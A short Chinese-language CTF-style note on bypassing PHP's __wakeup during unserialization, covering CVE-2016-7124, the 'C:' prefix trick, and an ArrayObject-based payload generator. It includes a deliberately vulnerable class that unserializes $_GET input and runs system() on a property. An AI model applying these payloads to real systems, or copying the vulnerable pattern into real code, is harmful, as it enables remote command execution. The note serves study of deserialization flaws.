Bypass: __wakeup绕过

关于这个问题，首先得先考察php版本

CVE-2016-7124

php作用版本：

php5 < 5.6.25

php7 < 7.0.10

具体来说就是当序列化中的字符串的对象属性个数多余真实的属性个数时，会绕过__wakeup

比如这个例子：

O:4:"demo":1:{s:1:"a";b:1} ===> O:4:"demo":2:

C绕过

对象字符串空属性测试

C方法绕过适合空属性的对象字符串，以下测试demo在php5、7、8均测试过，均有以下情况

一个测试demo：

<?php
class demo{
    public $a = true;

    public function __wakeup(){
        echo "wakeup"."<br>";
    }

    public function __destruct(){
        echo "destruct"."<br>";
    }


}
unserialize($_GET['a']);

正常的反序列化过程

C绕过而且对象字符串有属性

发现__wakeup和__destruct均没有执行

C绕过而且对象字符串没有属性

发现绕过了__wakeup，并且__destruct得以执行

需要利用对象属性进行恶意代码执行的方法

比如这个测试例子，如果要执行__destruct函数中的system函数，必然要使用到对象属性a

<?php
class demo{
    public $a;

    public function __wakeup(){
        echo "wakeup"."<br>";
    }

    public function __destruct(){
        echo "destruct"."<br>";
        system($this->a);
    }

}

解决方案是使用内置类绕过，参考愚人杯的题目：https://www.yuque.com/boogipop/tdotcs/hobe2yqmb3kgy1l8?singleDoc#

Payload生成：

class demo{
    public $a;

    public function __wakeup(){
        echo "wakeup"."<br>";
    }

    public function __destruct(){
        echo "destruct"."<br>";
        system($this->a);
    }
}

$demo = new demo;
$demo->a = "whoami";
$arr = array("evil"=>$demo);		
$oa = new ArrayObject($arr);
$res = serialize($oa);						// 在序列化时 ArrayObject对象会被序列化  其属性array数组也会被序列化
echo $res;